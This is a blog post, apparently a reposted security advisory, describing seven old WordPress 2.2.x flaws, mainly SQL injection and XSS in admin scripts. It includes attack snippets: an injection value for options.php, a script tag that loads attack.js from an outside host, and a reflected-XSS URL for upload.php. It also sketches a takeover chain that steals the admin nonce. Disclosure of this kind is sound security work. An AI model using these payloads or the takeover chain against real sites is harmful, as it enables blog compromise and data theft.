Just an old Sql injection exploit that was running about a while ago the 2 latest wordpress versions dont allow this and there was a notice about patches for those that were vuln.
Check out the latest 7 here.
1. Wordpress Persistant XSS Vulnerability in the Default Theme (v.2.2)
Affected Script: /themes.php?page=functions.php
?Header Image and Color? section of the Default Theme Kubrick.
Severity: HIGH - Attack needs no authentication.
Affected Wordpress Build: 2.2 (I know this has been submitted to full-disclosure before but I already wrote down the article and made the sample exploits so I did not want to delete these parts afterwards)
WARNING: This issue may lead to a full blog compromise if the default theme is enabled!
The vulnerability is some weeks old and because of that I don?t include it in my Wordpress PoC XSS Blog Worm - more on this topic at the end of this post.
2. Wordpress /options.php SQL Injection Vulnerability
Affected Scripts: All Wordpress files referencing /options.php in a form field, this includes:
* /options-general.php
* /options-writing.php
* /options-reading.php
* /options-discussion.php
* /options-privacy.php
* /options-permalink.php
* /options-misc.php
Severity: LOW - Attacker needs Admininstrator Privileges or valid _wpnonce.
Affected Wordpress Version: 2.2.1 - the latest version (This is a 0day Vulnerability)
Wordpress options.php SQLInjectionSo what causes this Database Error shown on the Screenshot?
When one of the scripts listed above sends a post request to /options.php, the value of page_options is NOT filtered.
This allows any user having Admin Privileges to manipulate Database queries and/or Values. Of course this can be used for further exploitation as I?ll show in the next part of this advisory.
By the way, the affected SQL query is
SELECT option_value FROM wcblog_options
WHERE option_name = ?$page_options?.
So $page_options may be used for SQL Injection, that means if it contains a value like ' AND '1'='1, the query is processed successfully AND a new key called $page_options will be created in the database table wp_options.
Some of you, my dear readers, may have noticed that now, we have the ability to create new database keys plus corresponding values. This smells of persistant XSS, and another Wordpress Feature is helping us here:
3. Wordpress /options.php Information Disclosure
Severity: MEDIUM - All Blog Options are listed on a single page and may be accessed for example via XSS
Affected Wordpress Version: 2.2.1 - the latest version (This is a 0day Vulnerability)
Why is this a security risk categorized as MEDIUM?
If /options.php is accessed by an Administrator without any given parameters, it just dumps the whole Database Table wp_options, including all Blog settings like the secret hash, the Administrator?s email addresses and other configuration stuff.
The whole script is running WITHOUT ANY OUTPUT VALIDATION - we can trust the data coming from our own Database, can we?!
And this very issue leads us directly towards another, much more critical threat:
4. Wordpress /options.php Persistant XSS Vulnerability
Severity: MEDIUM - Persistant XSS in the Admin Panel, nevertheless, the Attacker needs Admininstrator Privileges or valid _wpnonce.
Affected Wordpress Version: 2.2.1 - the latest version (This is a 0day Vulnerability)
Wordpress options.php Persistant XSS Vulnerability
Let?s assume an Attacker is able to combine Points 2) and 3) of this post by using an XSS Vulnerability. The XSS flaw may exist either the Blog Software itself (in this case ?Wordpress?), a third-party plugin or other custom-made scripts on the same webserver/domain.
This would allow a complete Blog overtake, wouldn?t it? The cocept behind this combined XSS / CSRF Attack is:
* Use an XSS flaw and Vulnerability 2) in combination to insert something like <script src=http://yourpage.com/attack.js ></script> into the Wordpress Options Database Table.
Of course, before doing this, you need to extract the _wpnonce Wordpress Administration Panel Token by using some magic Javascript code and XMLHttpRequest - this is very basic Javascript stuff and easy to accomplish by an skilled Attacker.
* Afterwards, you just have to send the Administrator to /options.php and the Javascript Code will be executed.
5. Wordpress /edit-comments.php Database Error (Bug)
Severity: NONE
Affected Wordpress Version: 2.2.1 - the latest version
In /edit-comments.php, the parameter apage is not properly sanitized before it is used to calculate the rows from which Wordpress tries to pull the comments from.
So in case apage has a negative numerical value, Wordpress throws a Database Error caused by an corrupted SQL Query which can be seen in the picture. It tries to SELECT all data from the table between rows -40 and 25, and this - of course - does not work
Edit Comments Database Error
6. Wordpress /link-import.php XSS Vulnerability
Severity: LOW - Attacker needs Admininstrator Privileges or valid _wpnonce.
Affected Wordpress Version: 2.2.1 - the latest version (This is a 0day Vulnerability)
Wordpress Link Import XSS Vulnerability
The parameter opml_url isn?t sanitized and thereby creates an Cross-Site Scripting vulnerability.
Anyways, for a successful attack the _wpnonce Authentication Token is needed so this one is quite useless - No one would use XSS to get a Token in order to use another XSS Vulnerability on the same Domain.
As usual, I made a shiny picture of this flaw ?in action?
7. Wordpress /upload.php XSS Vulnerability
Severity: HIGH - Attack needs no authentication.
Affected Wordpress Version: 2.2.1 - the latest version (This is a 0day Vulnerability)
WARNING: This issue may lead to a full blog compromise.
Wordpress upload.php XSS Vulnerability
In /upload.php the parameter style is prone to XSS Attacks when editing Temporary Uploads (they usually have a negative ID). An attack could look like this:
/upload.php?style=%22%3E{shellcode}&tab=upload&post_id=-1337
As you can see this is a very basic reflective XSS vulnerability. This shouldn?t happen within a Web Application.
